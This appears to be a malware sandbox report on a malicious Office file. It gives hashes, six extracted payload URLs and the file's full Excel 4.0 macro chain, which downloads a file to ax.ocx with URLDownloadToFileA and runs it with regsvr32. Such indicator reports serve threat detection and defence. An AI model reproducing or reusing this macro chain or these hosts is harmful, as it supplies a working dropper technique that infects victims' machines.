General
-
Target
6120f414a9bedd26fc94824354837cd181beb5222f40b2a0701cad80a17a1487
-
Size
48KB
-
MD5
b57365b1dc6d095a1f787cfc600a0bf5
-
SHA1
e9f42179a3ffdd6e3d17e77616b88feeb8e6bbc0
-
SHA256
6120f414a9bedd26fc94824354837cd181beb5222f40b2a0701cad80a17a1487
-
SHA512
cab1bf45ebe5467a76b92335b3612a3a90aa9b4a2d501ce5de1c8563a50b07d933ec8d3d4c6d78b75afef37d1e1522099ddb8cc96e3dec11cbae9ea02bc4119b
-
SSDEEP
768:zO+CAEWvxRc3mlkKDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0AOBAa:z7O2b8QkKDNck01u/R2rZyjtBl
Malware Config
Extracted
http://suleyera.com/components/CNGhltc5v2K6/
http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/
http://moveit.savvyint.com/config/DsfssbO7BYG/
https://schwizer.net/styled/D0MG/
http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/
http://shimal.atwebpages.com/wp-content/xkaRkHr/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://suleyera.com/components/CNGhltc5v2K6/","..\ax.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://sociallysavvyseo.com/PinnacleDynamicServices/pRlYMzvfuu5B/","..\ax.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveit.savvyint.com/config/DsfssbO7BYG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://schwizer.net/styled/D0MG/","..\ax.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shabeerpv.atwebpages.com/css/ww6if1YAsMpjpuGz/","..\ax.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://shimal.atwebpages.com/wp-content/xkaRkHr/","..\ax.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ax.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
6120f414a9bedd26fc94824354837cd181beb5222f40b2a0701cad80a17a1487